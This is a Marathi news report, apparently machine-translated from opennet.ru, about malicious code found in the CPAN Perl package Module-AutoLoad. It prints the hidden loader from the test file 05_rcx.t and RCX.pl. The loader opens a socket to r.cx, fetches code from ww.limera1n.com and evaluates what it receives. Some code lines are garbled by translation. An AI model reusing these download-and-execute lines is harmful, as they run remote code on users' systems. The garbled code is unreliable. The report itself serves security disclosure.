मॉड्यूल-ऑटोलोड पर्ल पॅकेजमध्ये दुर्भावनापूर्ण कोड आढळला

CPAN निर्देशिकेद्वारे वितरित केलेल्या पर्ल पॅकेजमध्ये मॉड्यूल-ऑटोलोड, फ्लायवर स्वयंचलितपणे CPAN मॉड्यूल लोड करण्यासाठी डिझाइन केलेले, ओळखले दुर्भावनापूर्ण कोड. दुर्भावनापूर्ण घाला आढळले चाचणी कोड मध्ये 05_rcx.t, जे 2011 पासून पाठवले जात आहे.
हे लक्षात घेण्यासारखे आहे की शंकास्पद कोड लोड करण्याबद्दल प्रश्न उद्भवले स्टॅकओव्हरफ्लो 2016 मध्ये परत.

मॉड्यूल स्थापित करताना लॉन्च केलेल्या चाचणी सूटच्या अंमलबजावणीदरम्यान तृतीय-पक्ष सर्व्हर (http://r.cx:1/) वरून कोड डाउनलोड आणि कार्यान्वित करण्याच्या प्रयत्नात दुर्भावनापूर्ण क्रियाकलाप वाढतात. असे गृहीत धरले जाते की सुरुवातीला बाह्य सर्व्हरवरून डाउनलोड केलेला कोड दुर्भावनापूर्ण नव्हता, परंतु आता विनंती ww.limera1n.com डोमेनवर पुनर्निर्देशित केली गेली आहे, जी त्याच्या अंमलबजावणीसाठी कोडचा भाग प्रदान करते.

फाइलमध्ये डाउनलोड व्यवस्थापित करण्यासाठी 05_rcx.t खालील कोड वापरला जातो:

माझे $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

निर्दिष्ट कोड स्क्रिप्ट कार्यान्वित करण्यास कारणीभूत ठरतो ../contrib/RCX.pl, ज्याची सामग्री ओळीवर कमी केली आहे:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″} वापरा;

ही स्क्रिप्ट लोड होते गोंधळलेले सेवा वापरून perlobfuscator.com बाह्य होस्ट r.cx कडील कोड (कॅरेक्टर कोड 82.46.99.88 मजकूर "R.cX" शी संबंधित आहेत) आणि तो eval ब्लॉकमध्ये कार्यान्वित करतो.

$ perl -MIO::सॉकेट -e'$b=नवीन IO::सॉकेट::INET 82.46.99.88.":1″; छापा <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

अनपॅक केल्यानंतर, खालील गोष्टी शेवटी अंमलात आणल्या जातात: कोड:

प्रिंट{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";इव्हॅलर रिटर्न चेतावणी$@while$b;1

समस्याग्रस्त पॅकेज आता रेपॉजिटरीमधून काढले गेले आहे. विराम द्या (Perl Authors Upload Server), आणि मॉड्यूल लेखकाचे खाते ब्लॉक केले आहे. या प्रकरणात, मॉड्यूल अजूनही राहते उपलब्ध MetaCPAN संग्रहणात आहे आणि cpanminus सारख्या काही उपयुक्तता वापरून MetaCPAN वरून थेट स्थापित केले जाऊ शकते. याची नोंद आहेपॅकेज मोठ्या प्रमाणावर वितरित केले गेले नाही.

चर्चा करणे मनोरंजक आहे जोडलेले आणि मॉड्यूलच्या लेखकाने, ज्याने त्याची साइट “r.cx” हॅक केल्यानंतर दुर्भावनापूर्ण कोड टाकण्यात आल्याची माहिती नाकारली आणि स्पष्ट केले की तो फक्त मजा करत आहे, आणि perlobfuscator.com चा वापर काहीतरी लपवण्यासाठी नाही तर आकार कमी करण्यासाठी केला आहे. कोडचे आणि क्लिपबोर्डद्वारे त्याची कॉपी करणे सोपे करणे. फंक्शन नावाची निवड "बॉटस्ट्रॅप" या वस्तुस्थितीद्वारे स्पष्ट केली जाते की हा शब्द "बॉटसारखा वाटतो आणि बूटस्ट्रॅपपेक्षा लहान आहे." मॉड्यूलच्या लेखकाने असेही आश्वासन दिले आहे की ओळखले जाणारे हाताळणी दुर्भावनापूर्ण कृती करत नाहीत, परंतु केवळ TCP द्वारे कोड लोड करणे आणि अंमलबजावणीचे प्रदर्शन करतात.

स्त्रोत: opennet.ru